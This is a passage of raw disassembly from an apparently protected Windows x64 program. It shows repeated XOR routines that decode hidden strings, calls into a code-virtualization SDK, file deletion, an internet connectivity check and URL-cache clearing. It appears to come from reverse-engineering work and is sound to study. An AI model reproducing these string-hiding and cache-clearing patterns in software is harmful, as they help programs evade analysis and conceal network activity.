movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.1400634a0
mov r10, rax
cmp byte [rax + 0x24], r15b
je 0x14005ab51
mov r8d, r15d
cmp r13d, 2
jl 0x14005ab11
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005aa20
cmp r8d, 0x25
jge 0x14005ab51
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14005ab20
lea rdx, [0x140051c80]
mov rcx, r10
call fcn.140042da0
jmp 0x14005ad29
lea rcx, [rbp + 0x1b8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x810]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0x820]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x3088]
lea rcx, [rbp + 0x54]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.1400634a0
mov r10, rax
cmp byte [rax + 0x24], r15b
je 0x14005ad21
mov r8d, r15d
cmp r13d, 2
jl 0x14005ace1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005abf0
cmp r8d, 0x25
jge 0x14005ad21
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14005acf0
mov rcx, r10
call fcn.140042da0
lea rcx, [rbp + 0x3a90]
call fcn.140064ae0
movss xmm2, dword [0x1400785f0]
lea rcx, [rbp + 0x1c0]
movss xmm1, dword [0x140078674]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d38]
call fcn.140012400
movss xmm2, dword [0x1400785e4]
lea rcx, [rbp + 0x1c8]
movss xmm1, dword [0x140078634]
call fcn.140001080
lea rdx, [rbp + 0x100]
mov rbx, rax
lea rcx, [rbp + 0x55]
call fcn.1400634d0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14005adb5
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
mov rdx, rbx
mov rcx, rax
call fcn.140044030
test al, al
je 0x14005ae19
cmp byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
je 0x14005ade3
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], 1
mov byte [0x140086e3b], 1
cmp byte [0x140086dfd], r15b
je 0x14005adfe
mov byte [0x140086dfd], 1
mov byte [0x140086e3b], 1
cmp byte [0x140086e39], r15b
je 0x14005ae19
mov byte [0x140086e39], 1
mov byte [0x140086e3b], 1
movss xmm2, dword [0x140078620]
lea rcx, [rbp + 0x1d0]
movss xmm1, dword [0x140078674]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d38]
call fcn.140012400
movss xmm2, dword [0x1400785e4]
lea rcx, [rbp + 0x1d8]
movss xmm1, dword [0x140078634]
call fcn.140001080
lea rdx, [rbp + 0x108]
mov rbx, rax
lea rcx, [rbp + 0x56]
call fcn.1400634f0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14005ae99
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
mov rdx, rbx
mov rcx, rax
call fcn.140044030
test al, al
jne 0x14006032d
call fcn.140011990
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_28]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_2]
cmp byte [0x140086e3b], r15b
je 0x14005d052
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_1]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_27]
lea rdx, [rbp + 0x110]
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
lea rcx, [rbp + 0x57]
mov byte [0x140086dff], r15b
mov byte [0x140086dfb], r15b
call fcn.140062c80
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14005af1c
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
xor edx, edx
mov r8d, 0xc003b
mov rcx, rax
call fcn.14000e7c0
movss xmm2, dword [0x140078650]
lea rcx, [rbp + 0x1e0]
movss xmm1, dword [0x140078670]
call fcn.140001080
mov rcx, rax
xor edx, edx
call fcn.140012a40
movss xmm2, dword [0x1400785a0]
lea rcx, [rbp + 0x1e8]
movss xmm1, dword [0x140078598]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0x830]
movaps xmm1, xmm13
call fcn.140001090
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x840]
movaps xmm1, xmm10
mov r14, rax
call fcn.140001090
movaps xmm2, xmm10
lea rcx, [rbp + 0x1f0]
movaps xmm1, xmm10
mov rsi, rax
call fcn.140001080
movaps xmm2, xmm13
lea rcx, [rbp + 0x1f8]
movaps xmm1, xmm13
mov rdi, rax
call fcn.140001080
movss xmm2, dword [0x140078640]
lea rcx, [rbp + 0x200]
movss xmm1, dword [0x14007866c]
mov rbx, rax
call fcn.140001080
mov rcx, qword [rbp + 0x3950]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.140045500
movzx eax, byte [0x140086d1b]
test al, al
jne 0x14005b290
movss xmm2, dword [0x140078618]
lea rcx, [rbp + 0x208]
movss xmm1, dword [0x14007862c]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d80]
call fcn.140012400
movss xmm0, dword [0x140086264]
lea rcx, [rbp + 0x850]
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm15
movaps xmm1, xmm15
call fcn.140001090
mov rdx, rax
xor ecx, ecx
call fcn.1400033a0
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x58]
call fcn.140063510
mov r10, rax
cmp byte [rax + 0xc], r15b
je 0x14005b1d1
mov r8d, r15d
cmp r13d, 2
jl 0x14005b18c
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005b1a0
mov rcx, r10
call fcn.140042da0
mov ecx, 1
call fcn.140003400
cmp byte [0x140086e3e], r15b
mov eax, r15d
je 0x14005b228
movss xmm0, dword [0x140086264]
subss xmm0, dword [0x1400784c8]
comiss xmm13, xmm0
seta al
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm0
addss xmm2, xmm0
comiss xmm2, dword [0x1400784ec]
seta al
jmp 0x14005b25d
movss xmm2, dword [0x140086264]
addss xmm2, dword [0x1400784c8]
comiss xmm2, xmm10
movaps xmm0, xmm2
subss xmm0, xmm10
seta al
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
subss xmm2, xmm1
comiss xmm2, xmm10
setae al
mov byte [0x140086e3e], al
mov eax, dword [0x140086e34]
inc eax
movss dword [0x140086264], xmm2
mov dword [0x140086e34], eax
cmp eax, 0x3b6
jl 0x14005d041
mov byte [0x140086d1b], 1
jmp 0x14005d041
cmp al, 1
jne 0x14005d041
lea rdx, [rbp + 0x1008]
lea rcx, [rbp + 0x59]
call fcn.1400631f0
mov r10, rax
cmp byte [rax + 0x1a], r15b
je 0x14005b401
mov r8d, r15d
cmp r13d, 2
jl 0x14005b3c1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005b2d0
cmp r8d, 0x1b
jge 0x14005b401
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x14005b3d0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0xfe8]
lea rcx, [rbp + 0x5a]
call fcn.140063220
mov r10, rax
cmp byte [rax + 0x1a], r15b
je 0x14005b571
mov r8d, r15d
cmp r13d, 2
jl 0x14005b531
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005b440
cmp r8d, 0x1b
jge 0x14005b571
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x14005b540
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0xd90]
lea rcx, [rbp + 0x5b]
call fcn.140063540
mov r10, rax
cmp byte [rax + 0x11], r15b
je 0x14005b6e1
mov r8d, r15d
cmp r13d, 2
jl 0x14005b6a1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005b5b0
cmp r8d, 0x12
jge 0x14005b6e1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005b6b0
xor r8d, r8d
mov edx, 1
mov rcx, r10
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x140060339
lea rdx, [rbp + 0xd78]
lea rcx, [rbp + 0x5c]
call fcn.140063540
mov r10, rax
cmp byte [rax + 0x11], r15b
je 0x14005b861
mov r8d, r15d
cmp r13d, 2
jl 0x14005b821
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005b730
cmp r8d, 0x12
jge 0x14005b861
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005b830
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0x3650]
lea rcx, [rbp + 0x5d]
call fcn.140062d90
mov r10, rax
cmp byte [rax + 0x2f], r15b
je 0x14005b9d1
cmp r13d, 2
jl 0x14005b99a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x30
jl 0x14005b8b0
jmp 0x14005b9d1
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14005b9a0
mov rdx, r10
lea rcx, [rbp + 0x1c28]
call fcn.140064bd0
mov rdx, rax
lea rcx, [rbp + 0x1c48]
call fcn.140051cd0
lea rdx, [0x140074ba0]
mov rcx, rax
call fcn.140065700
lea rcx, [rbp + 0x1c48]
movzx ebx, al
call fcn.140064ae0
test bl, bl
je 0x140060339
lea rdx, [rbp + 0x3620]
lea rcx, [rbp + 0x5e]
call fcn.140062d90
mov r10, rax
cmp byte [rax + 0x2f], r15b
je 0x14005bb71
cmp r13d, 2
jl 0x14005bb3a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x30
jl 0x14005ba50
jmp 0x14005bb71
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14005bb40
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0x3588]
lea rcx, [rbp + 0x5f]
call fcn.140062dc0
mov r10, rax
cmp byte [rax + 0x2e], r15b
je 0x14005bce1
mov r8d, r15d
cmp r13d, 2
jl 0x14005bca1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005bbb0
cmp r8d, 0x2f
jge 0x14005bce1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x14005bcb0
mov rdx, r10
lea rcx, [rbp + 0x1c68]
call fcn.140064bd0
mov rdx, rax
lea rcx, [rbp + 0x1c88]
call fcn.140051cd0
mov rcx, rax
lea rdx, [0x140074ba0]
call fcn.140065700
lea rcx, [rbp + 0x1c88]
movzx ebx, al
call fcn.140064ae0
test bl, bl
je 0x140060339
lea rdx, [rbp + 0x3558]
lea rcx, [rbp + 0x60]
call fcn.140062dc0
mov r10, rax
cmp byte [rax + 0x2e], r15b
je 0x14005be91
mov r8d, r15d
cmp r13d, 2
jl 0x14005be51
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
